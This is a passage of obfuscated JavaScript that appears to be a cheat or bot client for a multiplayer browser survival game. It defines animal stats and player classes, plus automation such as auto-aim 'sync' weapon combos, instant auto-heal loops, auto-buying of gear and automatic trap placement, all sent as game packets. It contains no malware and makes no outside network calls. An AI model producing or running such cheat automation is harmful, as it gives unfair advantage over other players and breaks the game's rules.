speed: 0.00085,
turnSpeed: 0.001,
scale: 72,
drop: ["food", 80]
}, {
id: 2,
name: "Bull",
src: "bull_2",
hostile: true,
dmg: 20,
killScore: 1000,
health: 1800,
weightM: 0.5,
speed: 0.00094,
turnSpeed: 0.00074,
scale: 78,
viewRange: 800,
chargePlayer: true,
drop: ["food", 100]
}, {
id: 3,
name: "Bully",
src: "bull_1",
hostile: true,
dmg: 20,
killScore: 2000,
health: 2800,
weightM: 0.45,
speed: 0.001,
turnSpeed: 0.0008,
scale: 90,
viewRange: 900,
chargePlayer: true,
drop: ["food", 400]
}, {
id: 4,
name: "Wolf",
src: "wolf_1",
hostile: true,
dmg: 8,
killScore: 500,
health: 300,
weightM: 0.45,
speed: 0.001,
turnSpeed: 0.002,
scale: 84,
viewRange: 800,
chargePlayer: true,
drop: ["food", 200]
}, {
id: 5,
name: "Quack",
src: "chicken_1",
dmg: 8,
killScore: 2000,
noTrap: true,
health: 300,
weightM: 0.2,
speed: 0.0018,
turnSpeed: 0.006,
scale: 70,
drop: ["food", 100]
}, {
id: 6,
name: "weird dude",
nameScale: 50,
src: "enemy",
hostile: true,
dontRun: true,
fixedSpawn: true,
spawnDelay: 60000,
noTrap: true,
colDmg: 100,
dmg: 40,
killScore: 8000,
health: 18000,
weightM: 0.4,
speed: 0.0007,
turnSpeed: 0.01,
scale: 80,
spriteMlt: 1.8,
leapForce: 0.9,
viewRange: 1000,
hitRange: 210,
hitDelay: 1000,
chargePlayer: true,
drop: ["food", 100]
}, {
id: 7,
name: "Treasure",
hostile: true,
nameScale: 35,
src: "crate_1",
fixedSpawn: true,
spawnDelay: 120000,
colDmg: 200,
killScore: 5000,
health: 20000,
weightM: 0.1,
speed: 0,
turnSpeed: 0,
scale: 70,
spriteMlt: 1
}, {
id: 8,
name: "wolffff",
src: "wolf_2",
hostile: true,
fixedSpawn: true,
dontRun: true,
hitScare: 4,
spawnDelay: 30000,
noTrap: true,
nameScale: 35,
dmg: 10,
colDmg: 100,
killScore: 3000,
health: 7000,
weightM: 0.45,
speed: 0.0015,
turnSpeed: 0.002,
scale: 90,
viewRange: 800,
chargePlayer: true,
drop: ["food", 1000]
}, {
id: 9,
name: "💀cooked",
src: "wolf_2",
hostile: true,
fixedSpawn: true,
dontRun: true,
hitScare: 50,
spawnDelay: 60000,
noTrap: true,
nameScale: 35,
dmg: 12,
colDmg: 100,
killScore: 3000,
health: 9000,
weightM: 0.45,
speed: 0.0015,
turnSpeed: 0.0025,
scale: 94,
viewRange: 1440,
chargePlayer: true,
drop: ["food", 3000]
}, {
id: 10,
name: "💀sigma",
src: "wolf_1",
hostile: true,
fixedSpawn: true,
dontRun: true,
hitScare: 50,
spawnDelay: 30000,
nameScale: 35,
dmg: 10,
killScore: 700,
health: 500,
weightM: 0.45,
speed: 0.00115,
turnSpeed: 0.0025,
scale: 88,
viewRange: 1440,
chargePlayer: true,
drop: ["food", 400]
}, {
id: 11,
name: "💀notsigma",
src: "bull_1",
hostile: true,
fixedSpawn: true,
dontRun: true,
hitScare: 50,
spawnDelay: 100000,
nameScale: 35,
dmg: 20,
killScore: 5000,
health: 5000,
weightM: 0.45,
speed: 0.0015,
turnSpeed: 0.0025,
scale: 94,
viewRange: 1440,
chargePlayer: true,
drop: ["food", 800]
}];
this.spawn = function (_0x16feeb, _0x56add7, _0x14b0ae, _0x4fa63b) {
let _0xe1fb85 = _0x298993.find(_0x50924c => !_0x50924c.active);
if (!_0xe1fb85) {
_0xe1fb85 = new _0x52e012(_0x298993.length, _0x302878, _0x3660a9,
_0x2b7817, _0x385190, _0x444b3e, _0x1623fc, _0x4ea422);
_0x298993.push(_0xe1fb85);
}
_0xe1fb85.init(_0x16feeb, _0x56add7, _0x14b0ae, _0x4fa63b,
this.aiTypes[_0x4fa63b]);
return _0xe1fb85;
};
}
}
;
class _0x589c3f {
constructor(_0x2f7842, _0x116fcf, _0x1df7ee, _0x59f09a, _0x367852,
_0x2100c8, _0x322053, _0x5ae4a1) {
this.sid = _0x2f7842;
this.isAI = true;
this.nameIndex = _0x367852.randInt(0, _0x2100c8.cowNames.length - 1);
this.init = function (_0x54b9e2, _0x297580, _0x1e8d76, _0x527117,
_0x25fbbe) {
this.x = _0x54b9e2;
this.y = _0x297580;
this.startX = _0x25fbbe.fixedSpawn ? _0x54b9e2 : null;
this.startY = _0x25fbbe.fixedSpawn ? _0x297580 : null;
this.xVel = 0;
this.yVel = 0;
this.zIndex = 0;
this.dir = _0x1e8d76;
this.dirPlus = 0;
this.index = _0x527117;
this.src = _0x25fbbe.src;
if (_0x25fbbe.name) {
this.name = _0x25fbbe.name;
}
this.weightM = _0x25fbbe.weightM;
this.speed = _0x25fbbe.speed;
this.killScore = _0x25fbbe.killScore;
this.turnSpeed = _0x25fbbe.turnSpeed;
this.scale = _0x25fbbe.scale;
this.maxHealth = _0x25fbbe.health;
this.leapForce = _0x25fbbe.leapForce;
this.health = this.maxHealth;
this.chargePlayer = _0x25fbbe.chargePlayer;
this.viewRange = _0x25fbbe.viewRange;
this.drop = _0x25fbbe.drop;
this.dmg = _0x25fbbe.dmg;
this.hostile = _0x25fbbe.hostile;
this.dontRun = _0x25fbbe.dontRun;
this.hitRange = _0x25fbbe.hitRange;
this.hitDelay = _0x25fbbe.hitDelay;
this.hitScare = _0x25fbbe.hitScare;
this.spriteMlt = _0x25fbbe.spriteMlt;
this.nameScale = _0x25fbbe.nameScale;
this.colDmg = _0x25fbbe.colDmg;
this.noTrap = _0x25fbbe.noTrap;
this.spawnDelay = _0x25fbbe.spawnDelay;
this.hitWait = 0;
this.waitCount = 1000;
this.moveCount = 0;
this.targetDir = 0;
this.active = true;
this.alive = true;
this.runFrom = null;
this.chargeTarget = null;
this.dmgOverTime = {};
};
let _0x5da3b9 = 0;
let _0xbfe241 = 0;
this.animate = function (_0x16dbba) {
if (this.animTime > 0) {
this.animTime -= _0x16dbba;
if (this.animTime <= 0) {
this.animTime = 0;
this.dirPlus = 0;
_0x5da3b9 = 0;
_0xbfe241 = 0;
} else if (_0xbfe241 == 0) {
_0x5da3b9 += _0x16dbba / (this.animSpeed *
_0x2100c8.hitReturnRatio);
this.dirPlus = _0x367852.lerp(0, this.targetAngle, Math.min(1,
_0x5da3b9));
if (_0x5da3b9 >= 1) {
_0x5da3b9 = 1;
_0xbfe241 = 1;
}
} else {
_0x5da3b9 -= _0x16dbba / (this.animSpeed * (1 -
_0x2100c8.hitReturnRatio));
this.dirPlus = _0x367852.lerp(0, this.targetAngle, Math.max(0,
_0x5da3b9));
}
}
};
this.startAnim = function () {
this.animTime = this.animSpeed = 600;
this.targetAngle = Math.PI * 0.8;
_0x5da3b9 = 0;
_0xbfe241 = 0;
};
}
}
;
class _0x24ae6c {
constructor(_0x263f87, _0x26b69d) {
this.x = _0x263f87;
this.y = _0x26b69d;
this.damage = 10;
this.health = 10;
this.maxHealth = this.health;
this.active = false;
this.alive = false;
this.timer = 1500;
this.time = 0;
this.damaged = 0;
this.alpha = 1;
this.scale = 9;
this.visScale = this.scale;
}
}
;
class _0x264c08 {
constructor(_0x5e885e, _0x45582f, _0x31cd65, _0x3a24d4) {
this.x = _0x5e885e;
this.y = _0x45582f;
this.alpha = 0;
this.active = true;
this.alive = false;
this.chat = _0x31cd65;
this.owner = _0x3a24d4;
}
}
;
class _0x1dfbe1 {
constructor(_0xb06831, _0x13a6e4, _0x347031, _0x33f5ed, _0x1da723,
_0x3eb71e, _0x75542a, _0x5f29fa, _0x17e2b1) {
this.x = _0xb06831;
this.y = _0x13a6e4;
this.lastDir = _0x347031;
this.dir = _0x347031 + Math.PI;
this.buildIndex = _0x33f5ed;
this.weaponIndex = _0x1da723;
this.weaponVariant = _0x3eb71e;
this.skinColor = _0x75542a;
this.scale = _0x5f29fa;
this.visScale = 0;
this.name = _0x17e2b1;
this.alpha = 1;
this.active = true;
this.animate = function (_0xc21a3a) {
let _0x2f4795 = _0x4cedba.getAngleDist(this.lastDir, this.dir);
if (_0x2f4795 > 0.01) {
this.dir += _0x2f4795 / 20;
} else {
this.dir = this.lastDir;
}
if (this.visScale < this.scale) {
this.visScale += _0xc21a3a / (this.scale / 2);
if (this.visScale >= this.scale) {
this.visScale = this.scale;
}
}
this.alpha -= _0xc21a3a / 30000;
if (this.alpha <= 0) {
this.alpha = 0;
this.active = false;
}
};
}
}
;
class _0x3e9918 {
constructor(_0x33b119, _0x58dde8, _0x147487, _0x15bf38, _0x361639,
_0x131744, _0x19c1d7, _0x4180bd, _0x2e8541, _0x583b6c, _0x1e6e6f, _0x1fc5e3,
_0x26906d, _0x152640) {
this.id = _0x33b119;
this.sid = _0x58dde8;
this.tmpScore = 0;
this.team = null;
this.latestSkin = 0;
this.oldSkinIndex = 0;
this.skinIndex = 0;
this.latestTail = 0;
this.oldTailIndex = 0;
this.tailIndex = 0;
this.hitTime = 0;
this.lastHit = 0;
this.tails = {};
for (let _0x5f44b9 = 0; _0x5f44b9 < _0x1e6e6f.length; ++_0x5f44b9) {
if (_0x1e6e6f[_0x5f44b9].price <= 0) {
this.tails[_0x1e6e6f[_0x5f44b9].id] = 1;
}
}
this.skins = {};
for (let _0x164c3c = 0; _0x164c3c < _0x583b6c.length; ++_0x164c3c) {
if (_0x583b6c[_0x164c3c].price <= 0) {
this.skins[_0x583b6c[_0x164c3c].id] = 1;
}
}
this.points = 0;
this.dt = 0;
this.hidden = false;
this.itemCounts = {};
this.isPlayer = true;
this.pps = 0;
this.moveDir = undefined;
this.skinRot = 0;
this.lastPing = 0;
this.iconIndex = 0;
this.skinColor = 0;
this.dist2 = 0;
this.aim2 = 0;
this.maxSpeed = 1;
this.chat = {
message: null,
count: 0
};
this.backupNobull = true;
this.circle = false;
this.circleRad = 200;
this.circleRadSpd = 0.1;
this.cAngle = 0;
this.spawn = function (_0x18ba88) {
this.attacked = false;
this.death = false;
this.spinDir = 0;
this.sync = false;
this.antiBull = 0;
this.bullTimer = 0;
this.poisonTimer = 0;
this.active = true;
this.alive = true;
this.lockMove = false;
this.lockDir = false;
this.minimapCounter = 0;
this.chatCountdown = 0;
this.shameCount = 0;
this.shameTimer = 0;
this.sentTo = {};
this.gathering = 0;
this.gatherIndex = 0;
this.shooting = {};
this.shootIndex = 9;
this.autoGather = 0;
this.animTime = 0;
this.animSpeed = 0;
this.mouseState = 0;
this.buildIndex = -1;
this.weaponIndex = 0;
this.weaponCode = 0;
this.weaponVariant = 0;
this.primaryIndex = undefined;
this.secondaryIndex = undefined;
this.dmgOverTime = {};
this.noMovTimer = 0;
this.maxXP = 300;
this.XP = 0;
this.age = 1;
this.kills = 0;
this.upgrAge = 2;
this.upgradePoints = 0;
this.x = 0;
this.y = 0;
this.oldXY = {
x: 0,
y: 0
};
this.zIndex = 0;
this.xVel = 0;
this.yVel = 0;
this.slowMult = 1;
this.dir = 0;
this.dirPlus = 0;
this.targetDir = 0;
this.targetAngle = 0;
this.maxHealth = 100;
this.health = this.maxHealth;
this.oldHealth = this.maxHealth;
this.damaged = 0;
this.scale = _0x147487.playerScale;
this.speed = _0x147487.playerSpeed;
this.resetMoveDir();
this.resetResources(_0x18ba88);
this.items = [0, 3, 6, 10];
this.weapons = [0];
this.shootCount = 0;
this.weaponXP = [];
this.reloads = {
0: 0,
1: 0,
2: 0,
3: 0,
4: 0,
5: 0,
6: 0,
7: 0,
8: 0,
9: 0,
10: 0,
11: 0,
12: 0,
13: 0,
14: 0,
15: 0,
53: 0
};
this.bowThreat = {
9: 0,
12: 0,
13: 0,
15: 0
};
this.damageThreat = 0;
this.inTrap = false;
this.canEmpAnti = false;
this.empAnti = false;
this.soldierAnti = false;
this.poisonTick = 0;
this.bullTick = 0;
this.setPoisonTick = false;
this.setBullTick = false;
this.antiTimer = 2;
};
this.resetMoveDir = function () {
this.moveDir = undefined;
};
this.resetResources = function (_0xda935) {
for (let _0xaf153d = 0; _0xaf153d < _0x147487.resourceTypes.length; +
+_0xaf153d) {
this[_0x147487.resourceTypes[_0xaf153d]] = _0xda935 ? 100 : 0;
}
};
this.getItemType = function (_0xf9206d) {
let _0x2bf5fc = this.items.findIndex(_0x4feb89 => _0x4feb89 ==
_0xf9206d);
if (_0x2bf5fc != -1) {
return _0x2bf5fc;
} else {
return _0x2e8541.checkItem.index(_0xf9206d, this.items);
}
};
this.setData = function (_0x2453d8) {
this.id = _0x2453d8[0];
this.sid = _0x2453d8[1];
this.name = _0x2453d8[2];
this.x = _0x2453d8[3];
this.y = _0x2453d8[4];
this.dir = _0x2453d8[5];
this.health = _0x2453d8[6];
this.maxHealth = _0x2453d8[7];
this.scale = _0x2453d8[8];
this.skinColor = _0x2453d8[9];
};
this.updateTimer = function () {
this.bullTimer -= 1;
if (this.bullTimer <= 0) {
this.setBullTick = false;
this.bullTick = _0x450873.tick - 1;
this.bullTimer = _0x147487.serverUpdateRate;
}
this.poisonTimer -= 1;
if (this.poisonTimer <= 0) {
this.setPoisonTick = false;
this.poisonTick = _0x450873.tick - 1;
this.poisonTimer = _0x147487.serverUpdateRate;
}
};
this.update = function (_0x3044fc) {
if (this.sid == _0x222e4b) {
this.cAngle += this.circleRadSpd;
}
if (this.active) {
let _0x402c3a = {
skin: _0x65f08(_0x583b6c, this.skinIndex),
tail: _0x65f08(_0x1e6e6f, this.tailIndex)
};
let _0x5a1ab0 = (this.buildIndex >= 0 ? 0.5 : 1) *
(_0x2e8541.weapons[this.weaponIndex].spdMult || 1) * (_0x402c3a.skin ?
_0x402c3a.skin.spdMult || 1 : 1) * (_0x402c3a.tail ? _0x402c3a.tail.spdMult || 1 :
1) * (this.y <= _0x147487.snowBiomeTop ? _0x402c3a.skin && _0x402c3a.skin.coldM ? 1
: _0x147487.snowSpeed : 1) * this.slowMult;
this.maxSpeed = _0x5a1ab0;
}
};
let _0x246dcb = 0;
let _0x161d99 = 0;
this.animate = function (_0x2b3847) {
if (this.animTime > 0) {
this.animTime -= _0x2b3847;
if (this.animTime <= 0) {
this.animTime = 0;
this.dirPlus = 0;
_0x246dcb = 0;
_0x161d99 = 0;
} else if (_0x161d99 == 0) {
_0x246dcb += _0x2b3847 / (this.animSpeed *
_0x147487.hitReturnRatio);
this.dirPlus = _0x15bf38.lerp(0, this.targetAngle, Math.min(1,
_0x246dcb));
if (_0x246dcb >= 1) {
_0x246dcb = 1;
_0x161d99 = 1;
}
} else {
_0x246dcb -= _0x2b3847 / (this.animSpeed * (1 -
_0x147487.hitReturnRatio));
this.dirPlus = _0x15bf38.lerp(0, this.targetAngle, Math.max(0,
_0x246dcb));
}
}
};
this.startAnim = function (_0x4b67b3, _0x5e3cd9) {
this.animTime = this.animSpeed = _0x2e8541.weapons[_0x5e3cd9].speed;
this.targetAngle = _0x4b67b3 ? -_0x147487.hitAngle : -Math.PI;
_0x246dcb = 0;
_0x161d99 = 0;
};
this.canSee = function (_0x36b8b7) {
if (!_0x36b8b7) {
return false;
}
let _0x446b68 = Math.abs(_0x36b8b7.x - this.x) - _0x36b8b7.scale;
let _0x345c90 = Math.abs(_0x36b8b7.y - this.y) - _0x36b8b7.scale;
return _0x446b68 <= _0x147487.maxScreenWidth / 2 * 1.3 && _0x345c90 <=
_0x147487.maxScreenHeight / 2 * 1.3;
};
this.judgeShame = function () {
if (this.oldHealth < this.health) {
if (this.hitTime) {
let _0x36dcb9 = _0x450873.tick - this.hitTime;
this.lastHit = _0x450873.tick;
this.hitTime = 0;
if (_0x36dcb9 < 2) {
this.shameCount++;
} else {
this.shameCount = Math.max(0, this.shameCount - 2);
}
}
} else if (this.oldHealth > this.health) {
this.hitTime = _0x450873.tick;
}
};
this.addShameTimer = function () {
this.shameCount = 0;
this.shameTimer = 30;
let _0x5a05f8 = setInterval(() => {
this.shameTimer--;
if (this.shameTimer <= 0) {
clearInterval(_0x5a05f8);
}
}, 1000);
};
this.isTeam = function (_0x43c317) {
return this == _0x43c317 || this.team && this.team == _0x43c317.team;
};
this.findAllianceBySid = function (_0x31597d) {
if (this.team) {
return _0x116d96.find(_0x4265f3 => _0x4265f3 === _0x31597d);
} else {
return null;
}
};
this.checkCanInsta = function (_0x3ad198) {
let _0x2880cd = 0;
if (this.alive && _0x1f3dc7) {
let _0xb1a769 = {
weapon: this.weapons[0],
variant: this.primaryVariant,
dmg: this.weapons[0] == undefined ? 0 :
_0x2e8541.weapons[this.weapons[0]].dmg
};
let _0xf5093d = {
weapon: this.weapons[1],
variant: this.secondaryVariant,
dmg: this.weapons[1] == undefined ? 0 :
_0x2e8541.weapons[this.weapons[1]].Pdmg
};
let _0x599f48 = this.skins[7] && !_0x3ad198 ? 1.5 : 1;
let _0x2e3f63 = _0xb1a769.variant != undefined ?
_0x147487.weaponVariants[_0xb1a769.variant].val : 1;
if (_0xb1a769.weapon != undefined && this.reloads[_0xb1a769.weapon]
== 0) {
_0x2880cd += _0xb1a769.dmg * _0x2e3f63 * _0x599f48;
}
if (_0xf5093d.weapon != undefined && this.reloads[_0xf5093d.weapon]
== 0) {
_0x2880cd += _0xf5093d.dmg;
}
if (this.skins[53] && this.reloads[53] <= (_0x21c5b5.weapons[1] == 10
? 0 : _0x450873.tickRate) && _0x4e7604.skinIndex != 22) {
_0x2880cd += 25;
}
_0x2880cd *= _0x4e7604.skinIndex == 6 ? 0.75 : 1;
return _0x2880cd;
}
return 0;
};
this.manageReload = function () {
if (this.shooting[53]) {
this.shooting[53] = 0;
this.reloads[53] = 2500 - _0x450873.tickRate;
} else if (this.reloads[53] > 0) {
this.reloads[53] = Math.max(0, this.reloads[53] -
_0x450873.tickRate);
}
if (this.gathering || this.shooting[1]) {
if (this.gathering) {
this.gathering = 0;
this.reloads[this.gatherIndex] =
_0x2e8541.weapons[this.gatherIndex].speed * (this.skinIndex == 20 ? 0.78 : 1);
this.attacked = true;
}
if (this.shooting[1]) {
this.shooting[1] = 0;
this.reloads[this.shootIndex] =
_0x2e8541.weapons[this.shootIndex].speed * (this.skinIndex == 20 ? 0.78 : 1);
this.attacked = true;
}
} else {
this.attacked = false;
if (this.buildIndex < 0) {
if (this.reloads[this.weaponIndex] > 0) {
this.reloads[this.weaponIndex] = Math.max(0,
this.reloads[this.weaponIndex] - _0x450873.tickRate);
if (this == _0x21c5b5) {
if (getEl("weaponGrind").checked) {
for (let _0x29619a = 0; _0x29619a < Math.PI * 2; _0x29619a +=
Math.PI / 2) {
_0x3a4bd0(_0x21c5b5.getItemType(22), _0x29619a);
}
}
}
if (this.reloads[this.primaryIndex] == 0 &&
this.reloads[this.weaponIndex] == 0) {
this.antiBull++;
_0x450873.tickBase(() => {
this.antiBull = 0;
}, 1);
}
}
}
}
};
this.addDamageThreat = function (_0x53fba7) {
let _0xe41b3a = {
weapon: this.primaryIndex,
variant: this.primaryVariant
};
_0xe41b3a.dmg = _0xe41b3a.weapon == undefined ? 45 :
_0x2e8541.weapons[_0xe41b3a.weapon].dmg;
let _0x596210 = {
weapon: this.secondaryIndex,
variant: this.secondaryVariant
};
_0x596210.dmg = _0x596210.weapon == undefined ? 50 :
_0x2e8541.weapons[_0x596210.weapon].Pdmg;
let _0x30b6f9 = 1.5;
let _0x2156f3 = _0xe41b3a.variant != undefined ?
_0x147487.weaponVariants[_0xe41b3a.variant].val : 1.18;
let _0x2059bf = _0x596210.variant != undefined ? [9, 12, 13,
15].includes(_0x596210.weapon) ? 1 :
_0x147487.weaponVariants[_0x596210.variant].val : 1.18;
if (_0xe41b3a.weapon == undefined ? true :
this.reloads[_0xe41b3a.weapon] == 0) {
this.damageThreat += _0xe41b3a.dmg * _0x2156f3 * _0x30b6f9;
}
if (_0x596210.weapon == undefined ? true :
this.reloads[_0x596210.weapon] == 0) {
this.damageThreat += _0x596210.dmg * _0x2059bf;
}
if (this.reloads[53] <= _0x450873.tickRate) {
this.damageThreat += 25;
}
this.damageThreat *= _0x53fba7.skinIndex == 6 ? 0.75 : 1;
if (!this.isTeam(_0x53fba7)) {
if (this.dist2 <= 300) {
_0x53fba7.damageThreat += this.damageThreat;
}
}
};
}
}
;
function _0xbc00c6(_0x46f60a) {
_0x21c5b5.reloads[_0x46f60a] = 0;
_0x4c5fd1("H", _0x46f60a);
}
function _0x48e4f4(_0x2929ac, _0x16562c) {
_0x4c5fd1("c", 0, _0x2929ac, _0x16562c);
}
function _0x4b8fdf(_0x54ea91, _0x24b725) {
_0x4c5fd1("c", 1, _0x54ea91, _0x24b725);
}
function _0x10d181(_0x1e79af, _0x1cfc93) {
let _0x49a7c9 = _0x21c5b5.skins[6] ? 6 : 0;
if (_0x21c5b5.alive && _0x1f3dc7) {
if (_0x1cfc93 == 0) {
if (_0x21c5b5.skins[_0x1e79af]) {
if (_0x21c5b5.latestSkin != _0x1e79af) {
_0x4c5fd1("c", 0, _0x1e79af, 0);
}
} else if (_0x20bd10.autoBuyEquip) {
let _0x201dea = _0x65f08(_0x5db0d5, _0x1e79af);
if (_0x201dea) {
if (_0x21c5b5.points >= _0x201dea.price) {
_0x4c5fd1("c", 1, _0x1e79af, 0);
_0x4c5fd1("c", 0, _0x1e79af, 0);
} else if (_0x21c5b5.latestSkin != _0x49a7c9) {
_0x4c5fd1("c", 0, _0x49a7c9, 0);
}
} else if (_0x21c5b5.latestSkin != _0x49a7c9) {
_0x4c5fd1("c", 0, _0x49a7c9, 0);
}
} else if (_0x21c5b5.latestSkin != _0x49a7c9) {
_0x4c5fd1("c", 0, _0x49a7c9, 0);
}
} else if (_0x1cfc93 == 1) {
if (_0x4f4659 && _0x1e79af != 11 && _0x1e79af != 0) {
if (_0x21c5b5.latestTail != 0) {
_0x4c5fd1("c", 0, 0, 1);
}
return;
}
if (_0x21c5b5.tails[_0x1e79af]) {
if (_0x21c5b5.latestTail != _0x1e79af) {
_0x4c5fd1("c", 0, _0x1e79af, 1);
}
} else if (_0x20bd10.autoBuyEquip) {
let _0xef3164 = _0x65f08(_0x55466c, _0x1e79af);
if (_0xef3164) {
if (_0x21c5b5.points >= _0xef3164.price) {
_0x4c5fd1("c", 1, _0x1e79af, 1);
_0x4c5fd1("c", 0, _0x1e79af, 1);
} else if (_0x21c5b5.latestTail != 0) {
_0x4c5fd1("c", 0, 0, 1);
}
} else if (_0x21c5b5.latestTail != 0) {
_0x4c5fd1("c", 0, 0, 1);
}
} else if (_0x21c5b5.latestTail != 0) {
_0x4c5fd1("c", 0, 0, 1);
}
}
}
}
function _0x4635ee(_0x254a76, _0x76dd1d) {
_0x4c5fd1("G", _0x254a76, _0x76dd1d);
}
function _0x8770b0(_0x56c522, _0x257813) {
if (!_0x257813) {
_0x21c5b5.weaponCode = _0x56c522;
}
_0x4c5fd1("G", _0x56c522, 1);
}
function _0x5cea41() {
_0x4c5fd1("K", 1, 1);
}
function _0x9d3265(_0xb54e46, _0x576fe8) {
_0x4c5fd1("d", _0xb54e46, _0x576fe8, 1);
}
function _0x458902(_0x3cffcd, _0x265d17, _0x1a18de) {
try {
if (_0x3cffcd == undefined) {
return;
}
let _0x407e9d = _0x4b879d.list[_0x21c5b5.items[_0x3cffcd]];
let _0x111e11 = _0x21c5b5.scale + _0x407e9d.scale +
(_0x407e9d.placeOffset || 0);
let _0x212d0d = _0x21c5b5.x2 + _0x111e11 * Math.cos(_0x265d17);
let _0x32be73 = _0x21c5b5.y2 + _0x111e11 * Math.sin(_0x265d17);
if (_0x3cffcd === 0 || testMode || (_0x21c5b5.alive && _0x1f3dc7 &&
_0x21c5b5.itemCounts[_0x407e9d.group.id] == undefined ? true :
_0x21c5b5.itemCounts[_0x407e9d.group.id] < (_0x124d71.isSandbox ? _0x3cffcd === 3
|| _0x3cffcd === 5 ? 299 : 99 : _0x407e9d.group.limit ? _0x407e9d.group.limit :
99))) {
_0x4635ee(_0x21c5b5.items[_0x3cffcd]);
_0x9d3265(1, _0x265d17);
_0x8770b0(_0x21c5b5.weaponCode, 1);
if (_0x1a18de && getEl("placeVis").checked) {
_0xcaad53.push({
x: _0x212d0d,
y: _0x32be73,
name: _0x407e9d.name,
scale: _0x407e9d.scale,
dir: _0x265d17
});
_0x450873.tickBase(() => {
_0xcaad53.shift();
}, 1);
}
}
} catch (_0x1d4806) {}
}
function _0x3a4bd0(_0x459370, _0x213e80) {
try {
if (_0x2006cb.count >= 60) {
return;
}
let _0x14eda0 = _0x4b879d.list[_0x21c5b5.items[_0x459370]];
let _0x118ad9 = _0x21c5b5.scale + _0x14eda0.scale +
(_0x14eda0.placeOffset || 0);
let _0x4952bc = _0x21c5b5.x2 + _0x118ad9 * Math.cos(_0x213e80);
let _0x574fd8 = _0x21c5b5.y2 + _0x118ad9 * Math.sin(_0x213e80);
if (_0x31b87c.checkItemLocation(_0x4952bc, _0x574fd8, _0x14eda0.scale,
0.6, _0x14eda0.id, false, _0x21c5b5)) {
_0x458902(_0x459370, _0x213e80, 1);
}
} catch (_0x1e00ae) {}
}
function _0x2dbdf0() {
if (getEl("syncType").value === "s1") {
var _0x1b8b82 = document.getElementById("musketSync");
if (_0x1b8b82 && _0x1b8b82.checked) {
_0x8f1613.autoAim = true;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x5cea41();
_0x450873.tickBase(() => {
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(_0x21c5b5.reloads[53] === 0 ? 53 : 6, 0);
_0x450873.tickBase(() => {
_0x5cea41();
_0x8f1613.autoAim = false;
}, 3);
}, 2);
}
}
if (getEl("syncType").value === "s2") {
_0x8f1613.autoAim = true;
_0x450873.tickBase(() => {
_0x37a646.isTrue = true;
_0x8770b0(_0x21c5b5.weapons[1]);
_0x10d181(53, 0);
_0x10d181(0, 1);
_0x5cea41();
_0x450873.tickBase(() => {
_0x8f1613.autoAim = false;
_0x37a646.isTrue = false;
_0x5cea41();
}, 1);
}, 1);
}
}
function _0x58eede() {
_0x8f1613.autoAim = true;
_0x10d181(19, 1);
_0x450873.tickBase(() => {
if (_0x21c5b5.weapons[1] == 15) {
_0x8f1613.revAim = true;
}
_0x8770b0(_0x21c5b5.weapons[[15].includes(_0x21c5b5.weapons[1]) ? 1 :
0]);
_0x10d181(53, 0);
_0x10d181(19, 1);
if ([15].includes(_0x21c5b5.weapons[1])) {
_0x5cea41();
}
_0x450873.tickBase(() => {
_0x8f1613.revAim = false;
_0x8770b0(_0x21c5b5.weapons[0]);
_0x10d181(7, 0);
_0x10d181(19, 1);
if (![15].includes(_0x21c5b5.weapons[1])) {
_0x5cea41();
}
_0x450873.tickBase(() => {
_0x5cea41();
_0x8f1613.autoAim = false;
}, 3);
}, 1);
}, 1);
}
;
function _0x20110b() {
if (_0x21c5b5.latestSkin == 6) {
return 0.75;
} else {
return 1;
}
}
function _0x4b7d4f() {
if (_0x21c5b5.health == 100) {
return 0;
}
if (_0x21c5b5.skinIndex != 45 && _0x21c5b5.skinIndex != 56) {
return Math.ceil((100 - _0x21c5b5.health) /
_0x4b879d.list[_0x21c5b5.items[0]].healing);
}
return 0;
}
function _0x1e29d4(_0xf72028) {
const _0x1a9384 = _0x21c5b5.x2;
const _0x199d43 = _0x21c5b5.y2;
const _0x2942e7 = Math.hypot(_0xf72028[0] - _0x1a9384, _0xf72028[1] -
_0x199d43);
return _0x2942e7 > 35;
}
function _0x36621b(_0x46a7cf) {
if (_0x21c5b5.team) {
return _0x116d96.find(_0x2adbc1 => _0x2adbc1 === _0x46a7cf);
} else {
return null;
}
}
function _0x2eecc2(_0x1517c8, _0x2a8083, _0x1fa03c) {
const _0x5be5e3 = [];
const _0x374edc = 16;
for (let _0x44a5fe = 0; _0x44a5fe < _0x374edc; _0x44a5fe++) {
const _0x48eabe = Math.PI * 2 * _0x44a5fe / _0x374edc;
const _0x115bcc = _0x1517c8 + _0x1fa03c * Math.cos(_0x48eabe);
const _0x49ebc3 = _0x2a8083 + _0x1fa03c * Math.sin(_0x48eabe);
const _0x1f11b7 = [_0x115bcc, _0x49ebc3];
if (!_0x5be5e3.some(_0xb6bf5e => _0x2ce0bf(_0x1f11b7, _0xb6bf5e))) {
_0x5be5e3.push(_0x1f11b7);
}
}
return _0x5be5e3;
}
function _0x2ce0bf(_0x327069, _0x2ca52f, _0x5e1add = 50) {
const _0x16d404 = Math.hypot(_0x327069[0] - _0x2ca52f[0], _0x327069[1] -
_0x2ca52f[1]);
return _0x16d404 < _0x5e1add;
}
function _0xeaea9f(_0x5bfe13) {
let _0x15d61d = _0x462a20.filter(_0x59c579 => {
let _0xb952d7 = {
three: _0x59c579.attacked
};
return _0xb952d7.three;
});
return _0x15d61d;
}
function _0x4f7997() {
for (let _0x3cbe45 = 0; _0x3cbe45 < _0x4b7d4f(); _0x3cbe45++) {
_0x458902(0, _0x5e0191());
}
}
function _0x3d927d() {
for (let _0x42b70c = 0; _0x42b70c < 4; _0x42b70c++) {
_0x458902(0, _0x5e0191());
}
}
function _0x2ab49c(_0x358669) {
_0x8f1613.antiSync = true;
let _0x427935 = setInterval(() => {
if (_0x21c5b5.shameCount < 5) {
_0x458902(0, _0x5e0191());
}
}, 75);
setTimeout(() => {
clearInterval(_0x427935);
setTimeout(() => {
_0x8f1613.antiSync = false;
}, _0x450873.tickRate);
}, _0x450873.tickRate);
}
function _0x6f2b76(_0x2d48cd, _0x1a3782) {
if (_0x21c5b5.y2 >= _0x124d71.mapScale / 2 - _0x124d71.riverWidth / 2 &&
_0x21c5b5.y2 <= _0x124d71.mapScale / 2 + _0x124d71.riverWidth / 2) {
if (_0x1a3782) {
return 31;
}
_0x10d181(31, 0);
} else if (_0x21c5b5.y2 <= _0x124d71.snowBiomeTop) {
if (_0x1a3782) {
if (_0x2d48cd && _0x21c5b5.moveDir == undefined) {
return 6;
} else {
return 15;
}
}
_0x10d181(_0x2d48cd && _0x21c5b5.moveDir == undefined ? 6 : 15, 0);
} else {
